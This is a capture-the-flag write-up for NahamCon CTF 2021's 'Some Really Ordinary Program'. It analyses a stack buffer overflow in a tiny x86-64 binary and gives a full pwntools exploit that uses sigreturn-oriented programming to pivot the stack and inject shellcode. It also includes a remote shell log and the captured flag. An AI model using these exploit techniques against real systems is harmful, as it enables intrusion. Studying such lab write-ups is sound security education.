Tags: bof pwn srop 

Rating:

NahamCon CTF 2021

Some Really Ordinary Program [medium]

Author: @M_alpha#3534

I'm starting to get pretty good at this whole programming thing. Here's a basic program I wrote that will echo back what you say.

some-really-ordinary-program

Tags: pwn x86-64 bof srop

Summary

Some Really Ordinary Program isn't an overstatement, this is the 3rd and 4th time I've solve this same problem in 2021. The and 4th comes from this problem being nearly identical to a similar problem from another CTF that ran at the same time as this CTF. I'm not complaining, just reporting.

Anyway, the short of it is, we have nearly nothing to work with but a read and syscall gadget; using the return value from read we can use that to set rax so that we can use srop.

These 3rd and 4th iterations of this problem in 2021 have up'd the game a bit requiring stack relocating to a known location for some easy shellcode injection.

Update

Apparently 2 srops was the intended solution; from Discord (post CTF):

M_alpha: Sorry to everyone who asked if the bss was rwx on Some Really Ordinary Program I didn't know what kernel version GCP was running it was intended to just use SROP to pivot the stack to the bss and SROP again to get a shell

I guess this write-up is an unintended solution. I created exploit2.py after the CTF to illustrate the intended solution.

Analysis

Checksec

    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

No mitigations, choose your own adventure--assuming you can find the bits you need.

<strike>Decompile with Ghidra</strike> Disassemble with objdump

  401000:   48 89 f2                mov    rdx,rsi
  401003:   48 89 fe                mov    rsi,rdi
  401006:   b8 00 00 00 00          mov    eax,0x0
  40100b:   48 89 c7                mov    rdi,rax
  40100e:   0f 05                   syscall
  401010:   c3                      ret
  401011:   48 89 f2                mov    rdx,rsi
  401014:   48 89 fe                mov    rsi,rdi
  401017:   b8 01 00 00 00          mov    eax,0x1
  40101c:   48 89 c7                mov    rdi,rax
  40101f:   0f 05                   syscall
  401021:   c3                      ret
  401022:   55                      push   rbp
  401023:   48 89 e5                mov    rbp,rsp
  401026:   48 81 ec f4 01 00 00    sub    rsp,0x1f4
  40102d:   48 bf 00 20 40 00 00    movabs rdi,0x402000
  401034:   00 00 00
  401037:   be 1f 00 00 00          mov    esi,0x1f
  40103c:   e8 d0 ff ff ff          call   0x401011
  401041:   48 8d 3c 24             lea    rdi,[rsp]
  401045:   be 20 03 00 00          mov    esi,0x320
  40104a:   e8 b1 ff ff ff          call   0x401000
  40104f:   48 8d 3c 24             lea    rdi,[rsp]
  401053:   48 89 c6                mov    rsi,rax
  401056:   e8 b6 ff ff ff          call   0x401011
  40105b:   c9                      leave
  40105c:   c3                      ret
  40105d:   e8 c0 ff ff ff          call   0x401022
  401062:   eb f9                   jmp    0x40105d

Yep, that's all of it.

Loading this up in GDB and running with starti you can quickly see that main is at 0x401022, and that functions 0x401000 and 0x41011 are simple fronts to read and write.

Starting from main (0x401022), 0x1f4 bytes of stack is allocated, then a string pointer (0x402000) and its length are moved into rdi and esi, then write (0x401011) is called. This emits to your terminal: What you say is what you get.\n. Next read (0x401000) is called with parameters stack and 0x320 for the location and length.

Well there's your problem. The stack was allocated for 0x1f4 and read is instructed to read up to 0x320 bytes creating a bof vulnerability.

The next set of lines just emit to your terminal whatever you inputted, then we start all over again by calling main.

I guess I may have jumped ahead of myself, the entry point is actually at the bottom at 0x40105d, this calls main, than then jumps back to calling main in a loop.

That's all there is folks. Not a lot here. No GOT, very few gadgets, no libc, etc..., total srop fodder.

[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x some-really-ordinary-program
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x some-really-ordinary-program
0x0000000000402000 0x0000000000403000 0x0000000000002000 rwx some-really-ordinary-program
0x00007ffff7ffa000 0x00007ffff7ffd000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rwx [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

Before getting into the srop details, lets look at the memory map. Other than the stack, there is a 4K page of memory that is also RWX at 0x402000. This is something we both have and know.

The attack is pretty simple, use read to read in 0xf bytes, so that rax is 0xf (rt_sigreturn syscall). Then call syscall followed by our sigreturn frame.

That frame will change rsp to the end of page 0x402000 (remember stacks grow down in address space), and then set rip to main. This will basically start us all over again, but this time we know the stack address because we set it.

Since we can read and we know where we will be storing that input, we can just send some shellcode to do the rest.

Exploit

#!/usr/bin/env python3

from pwn import *

binary = context.binary = ELF('./some-really-ordinary-program')
binary.symbols['main'] = 0x401022
binary.symbols['midread'] = 0x401006

if args.REMOTE:
    p = remote('challenge.nahamcon.com', 31225)
else:
    p = process(binary.path)

Standard pwntools header with some symbols added for main and midread.

midread is the midpoint of the read frontend function described above. Since all the registers are correct except for rax and rdi, it was only necessary to get the tail end of that function.

syscall = next(binary.search(asm('syscall')))
stack = 0x402ff8

frame = SigreturnFrame()
frame.rsp = stack
frame.rip = binary.sym.main

Find a syscall gadget and setup the location of our new stack at the end of page 0x402000, then define our rt_sigreturn frame with rsp pointing to our new stack and rip pointing to main

# overflow buffer
# get control of RIP
# call the read function to get 0xf in rax for syscall
# sigret
payload  = b''
payload += (0x1f4 + 8) * b'A'
payload += p64(binary.sym.midread)
payload += p64(syscall)
payload += bytes(frame)

p.sendafter('.\n',payload)

The payload just needs to fill up the 0x1f4 byte buffer plus 8 bytes for the push rbp, then call midread followed by syscall and our frame.

# with read called, get 0xf in rax
p.send(constants.SYS_rt_sigreturn * b'A')

With the payload now running we need to send 0xf bytes so that read will return with 0xf in rax. After that the rt_sigreturn syscall will kick in and update all the registers with values from our frame, including the new stack (rsp) and where we should start executing again (rip).

# new stack that we know address of and its NX
# just put in some shell code and call it
payload  = b''
payload += asm(shellcraft.sh())
payload += (0x1f4 + 8 - len(payload)) * b'A'
payload += p64(stack - 0x1f4 - 8)

p.sendafter('.\n',payload)

# take out the garbage
p.recvuntil(p64(stack - 0x1f4 - 8))
p.interactive()

Here we are again, at the beginning, all that has changed is we know where the stack is. This time we inject some shellcode, pad, and then replace the return address with the location of our shellcode.

The take out the garbage just receives back our payload from the write that main calls after the read to prettify our output for this writeup.

Output:

# ./exploit.py REMOTE=1
[*] '/pwd/datajerk/nahamconctf2021/ordprog/some-really-ordinary-program'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[+] Opening connection to challenge.nahamcon.com on port 31450: Done
[*] Switching to interactive mode
$ id
uid=1000(challenge) gid=1000 groups=1000
$ cat flag.txt
flag{175c051dbd3db6857f3e6d2907952c87}
Original writeup (https://github.com/datajerk/ctf-write-ups/tree/master/nahamconctf2021/some-really-ordinary-program).